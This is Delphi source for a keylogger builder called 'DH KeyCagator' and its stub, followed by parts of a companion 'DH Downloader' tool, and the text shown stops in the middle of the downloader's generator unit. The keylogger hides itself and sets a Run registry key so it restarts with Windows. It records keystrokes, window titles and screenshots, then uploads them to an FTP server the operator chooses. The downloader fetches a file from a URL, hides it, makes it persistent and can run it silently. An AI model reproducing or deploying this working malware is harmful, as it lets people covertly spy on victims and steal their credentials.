// DH KeyCagator 0.7
// (C) Doddy Hackman 2013
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle

unit genkey;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
  sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
  jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, ShellApi;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox8: TsGroupBox;
    sButton1: TsButton;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sEdit2: TsEdit;
    sComboBox1: TsComboBox;
    sGroupBox3: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox4: TsGroupBox;
    sLabel1: TsLabel;
    sCheckBox1: TsCheckBox;
    sEdit3: TsEdit;
    sGroupBox7: TsGroupBox;
    sLabel2: TsLabel;
    sCheckBox2: TsCheckBox;
    sEdit4: TsEdit;
    sGroupBox5: TsGroupBox;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sEdit7: TsEdit;
    sEdit8: TsEdit;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    sGroupBox9: TsGroupBox;
    sGroupBox10: TsGroupBox;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sLabel10: TsLabel;
    sLabel11: TsLabel;
    sEdit9: TsEdit;
    sEdit10: TsEdit;
    sEdit11: TsEdit;
    sEdit12: TsEdit;
    sButton2: TsButton;
    IdFTP1: TIdFTP;
    OpenDialog1: TOpenDialog;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  lineafinal: string;

  savein_especial: string;
  savein: string;
  foldername: string;

  capture_op: string;
  capture_seconds: integer;

  ftp_op: string;
  ftp_seconds: integer;
  ftp_host_txt: string;
  ftp_user_txt: string;
  ftp_pass_txt: string;
  ftp_path_txt: string;

  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;

  stubgenerado: string;
  op: string;
  change: DWORD;
  valor: string;

begin

  if (sRadioButton1.Checked = True) then

  begin

    savein_especial := '0';

    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := sComboBox1.Items[sComboBox1.ItemIndex];
    end;

  end;

  if (sRadioButton2.Checked = True) then
  begin
    savein_especial := '1';
    savein := sEdit2.Text;
  end;

  foldername := sEdit1.Text;

  if (sCheckBox1.Checked = True) then
  begin
    capture_op := '1';
  end
  else
  begin
    capture_op := '0';
  end;

  capture_seconds := StrToInt(sEdit3.Text) * 1000;

  if (sCheckBox2.Checked = True) then
  begin
    ftp_op := '1';
  end
  else
  begin
    ftp_op := '0';
  end;

  ftp_seconds := StrToInt(sEdit4.Text) * 1000;

  ftp_host_txt := sEdit5.Text;
  ftp_user_txt := sEdit7.Text;
  ftp_pass_txt := sEdit8.Text;
  ftp_path_txt := sEdit6.Text;

  lineafinal := '[63686175]' + dhencode
    ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
      '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
      '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
      + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
      '[ftp_seconds]' + IntToStr(ftp_seconds)
      + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
      '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
      ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
    'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'keycagator_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/keycagator.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

  if (op = 'Yes') then
  begin
    OpenDialog1.InitialDir := GetCurrentDir;
    if OpenDialog1.Execute then
    begin

      try
        begin

          valor := IntToStr(128);

          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                  + '/' + stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(OpenDialog1.FileName)));
          EndUpdateResourceW(change, False);
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      except
        begin
          sStatusBar1.Panels[0].Text := '[-] Error';
          sStatusBar1.Update;
        end;
      end;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[+] Done ';
      sStatusBar1.Update;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] Done ';
    sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  dir: string;
  busqueda: TSearchRec;

begin

  IdFTP1.Host := sEdit9.Text;
  IdFTP1.Username := sEdit11.Text;
  IdFTP1.Password := sEdit12.Text;

  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

  try
    begin
      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
      DeleteFile(dir + '\' + busqueda.Name);
      while FindNext(busqueda) = 0 do
      begin
        DeleteFile(dir + '\' + busqueda.Name);
      end;
      FindClose(busqueda);

      rmdir(dir);
    end;
  except
    //
  end;

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

  try
    begin
      IdFTP1.Connect;
      IdFTP1.ChangeDir(sEdit10.Text);

      IdFTP1.List('*.*', True);

      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin
        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
      end;

      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

      IdFTP1.Disconnect;
      IdFTP1.Free;
    end;
  except
    //
  end;

end;

end.

// The End ?

// DH KeyCagator 0.7
// (C) Doddy Hackman 2013

program keycagator;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, WinInet, ShellApi;

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  registro: HKEY;
  dir: string;
  time: integer;

  dir_hide: string;
  time_screen: integer;
  time_ftp: integer;
  ftp_host: Pchar;
  ftp_user: Pchar;
  ftp_password: Pchar;
  ftp_dir: Pchar;

  carpeta: string;
  directorio: string;
  dir_normal: string;
  dir_especial: string;
  ftp_online: string;
  screen_online: string;
  activado: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  try

    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: Pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host,
        INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
        INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;

end;

procedure capturar_pantalla(nombre: string);

// Credits :
// Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
// Thanks to  www.delphibasics.info and n0v4

var

  uno: integer;
  dos: integer;
  cre: hDC;
  cre2: hDC;
  im: hBitmap;
  archivo: file of byte;
  parriba: TBITMAPFILEHEADER;
  cantidad: pointer;
  data: TBITMAPINFO;

begin


  // Start

  cre := getDC(getDeskTopWindow);
  cre2 := createCompatibleDC(cre);
  uno := getDeviceCaps(cre, HORZRES);
  dos := getDeviceCaps(cre, VERTRES);
  zeromemory(@data, sizeOf(data));


  // Config

  with data.bmiHeader do
  begin
    biSize := sizeOf(TBITMAPINFOHEADER);
    biWidth := uno;
    biheight := dos;
    biplanes := 1;
    biBitCount := 24;

  end;

  with parriba do
  begin
    bfType := ord('B') + (ord('M') shl 8);
    bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
      + uno * dos * 3;
    bfOffBits := sizeOf(TBITMAPINFOHEADER);
  end;

  //

  im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
  selectObject(cre2, im);

  bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);

  releaseDC(getDeskTopWindow, cre);

  // Make Photo

  AssignFile(archivo, nombre);
  Rewrite(archivo);

  blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
  blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
  blockWrite(archivo, cantidad^, uno * dos * 3);

end;

procedure capturar_teclas;

var
  I: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;

const

  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');

const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');

const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');

const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');

begin

  while (1 = 1) do
  begin

    Sleep(time); // Time

    try

      begin

        // Others

        for I := Low(n_raros) to High(n_raros) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_raros[I]);
          end;
        end;

        // SHIFT

        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin

          for I := Low(n_shift) to High(n_shift) do
          begin
            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
            If Result = -32767 then
            begin
              savefile('logs.html', t_shift[I]);
            end;
          end;

          for I := 65 to 90 do
          begin
            Result := GetAsyncKeyState(I);
            If Result = -32767 then
            Begin
              savefile('logs.html', Chr(I + 0));
            End;
          end;

        end;

        // Numbers

        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_derecha[I]);
          end;
        end;

        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_izquierda[I]);
          end;
        end;

        // MAYUS

        if (GetKeyState(20) = 0) then
        begin
          mayus := 32;
        end
        else
        begin
          mayus := 0;
        end;

        for I := 65 to 90 do
        begin
          Result := GetAsyncKeyState(I);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(I + mayus));
          End;
        end;
      end;
    except
      //
    end;

  end;
end;

procedure capturar_ventanas;
var
  ventana1: array [0 .. 255] of Char;
  nombre1: string;
  Nombre2: string; //
begin
  while (1 = 1) do
  begin

    try

      begin
        Sleep(time); // Time

        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

        nombre1 := ventana1;

        if not(nombre1 = Nombre2) then
        begin
          Nombre2 := nombre1;
          savefile('logs.html',
            '<hr style=color:#00FF00><h2><center>' + Nombre2 +
              '</h2></center><br>');
        end;

      end;
    except
      //
    end;
  end;

end;

procedure capturar_pantallas;
var
  generado: string;
begin
  while (1 = 1) do
  begin

    Sleep(time_screen);

    generado := IntToStr(Random(100)) + '.jpg';

    try

      begin
        capturar_pantalla(generado);
      end;
    except
      //
    end;

    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

    savefile('logs.html', '<br><br><center><img src=' + generado +
        '></center><br><br>');

  end;
end;

procedure subirftp;
var
  busqueda: TSearchRec;
begin
  while (1 = 1) do
  begin

    try

      begin
        Sleep(time_ftp);

        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
            (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

        FindFirst(dir + '*.jpg', faAnyFile, busqueda);

        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
            (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        while FindNext(busqueda) = 0 do
        begin
          upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
              (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        end;
      end;
    except
      //
    end;
  end;
end;

procedure control;
var
  I: integer;
  re: Longint;
begin

  while (1 = 1) do
  begin

    try

      begin

        Sleep(time);

        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin

          re := GetAsyncKeyState(120);
          If re = -32767 then
          Begin

            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
              SW_SHOWNORMAL);

          End;
        end;
      end;
    except
      //
    end;
  End;
end;

//

begin

  try

    // Config

    try

      begin

        // Edit

        ob := INVALID_HANDLE_VALUE;
        code := '';

        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
          nil, OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;

        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');

        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
        directorio := regex(todo, '[save]', '[save]');
        carpeta := regex(todo, '[folder]', '[folder]');
        screen_online := regex(todo, '[capture_op]', '[capture_op]');
        time_screen := StrToInt(regex(todo, '[capture_seconds]',
            '[capture_seconds]'));
        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

        dir_normal := dir_especial;

        time := 100; // Not Edit

        if (dir_normal = '1') then
        begin
          dir_hide := directorio;
        end
        else
        begin
          dir_hide := GetEnvironmentVariable(directorio) + '/';
        end;

        dir := dir_hide + carpeta + '/';

        if not(DirectoryExists(dir)) then
        begin
          CreateDir(dir);
        end;

        ChDir(dir);

        nombrereal := ExtractFileName(paramstr(0));
        rutareal := dir;
        yalisto := dir + nombrereal;

        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

        savefile(dir + '/logs.html', '');

        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html',
          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
        RegCloseKey(registro);
      end;
    except
      //
    end;

    // End

    // Start the party

    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

    if (screen_online = '1') then
    begin
      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
    end;
    if (ftp_online = '1') then
    begin
      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
    end;

    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

    // Readln;

    while (1 = 1) do
      Sleep(time);

  except
    //
  end;

end.

// The End ?

// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses about, usbmode, generate;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Form4.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close;
end;

end.

// The End ?

// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit usbmode;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
  sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

type
  TForm3 = class(TForm)
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox3: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sEdit2: TsEdit;
    sCheckBox2: TsCheckBox;
    sEdit3: TsEdit;
    sCheckBox3: TsCheckBox;
    sCheckBox4: TsCheckBox;
    sCheckBox5: TsCheckBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sProgressBar1: TsProgressBar;
    IdHTTP1: TIdHTTP;
    procedure sButton1Click(Sender: TObject);
    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

uses about, dh;
{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm3.FormCreate(Sender: TObject);
begin
  sProgressBar1.Position := 0;
end;

procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar1.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar1.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
  sProgressBar1.Position := 0;
end;

procedure TForm3.sButton1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not sCheckBox1.Checked then
  begin
    filename := sEdit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := sEdit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(sEdit1.Text, archivobajado);
      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
      sStatusBar1.Update;
      archivobajado.Free;
    end;
  except
    sStatusBar1.Panels[0].Text := '[-] Failed download';
    sStatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if sCheckBox2.Checked then
    begin
      if not DirectoryExists(sEdit3.Text) then
      begin
        CreateDir(sEdit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
      sStatusBar1.Panels[0].Text := '[+] File Moved';
      sStatusBar1.Update;
    end;

    if sCheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if sCheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        sStatusBar1.Panels[0].Text := '[+] File Hidden';
        sStatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        sStatusBar1.Panels[0].Text := '[+] File Hidden';
        sStatusBar1.Update;
      end;
    end;

    if sCheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if sCheckBox2.Checked then
      begin
        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
            + '/' + nombrefinal);
      end;

      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
      sStatusBar1.Update;

      addnow.Free;

    end;

    if sCheckBox5.Checked then
    begin

      if sRadioButton1.Checked then
      begin
        if sCheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if sCheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
      sCheckBox4.Checked or sCheckBox5.Checked then
    begin
      sStatusBar1.Panels[0].Text := '[+] Finished';
      sStatusBar1.Update;
    end;

  end;

end;

end.

// The End ?

// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit generate;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
  sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

type
  TForm4 = class(TForm)
    Image1: TImage;
    sStatusBar1: TsStatusBar;

    OpenDialog1: TOpenDialog;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox3: TsGroupBox;
    sEdit2: TsEdit;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sGroupBox7: TsGroupBox;
    Image2: TImage;
    sButton1: TsButton;
    sGroupBox8: TsGroupBox;
    sComboBox1: TsComboBox;
    sGroupBox9: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sEdit3: TsEdit;
    sGroupBox10: TsGroupBox;
    sButton2: TsButton;
    procedure sButton1Click(Sender: TObject);
    procedure sEdit2Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm4.FormCreate(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

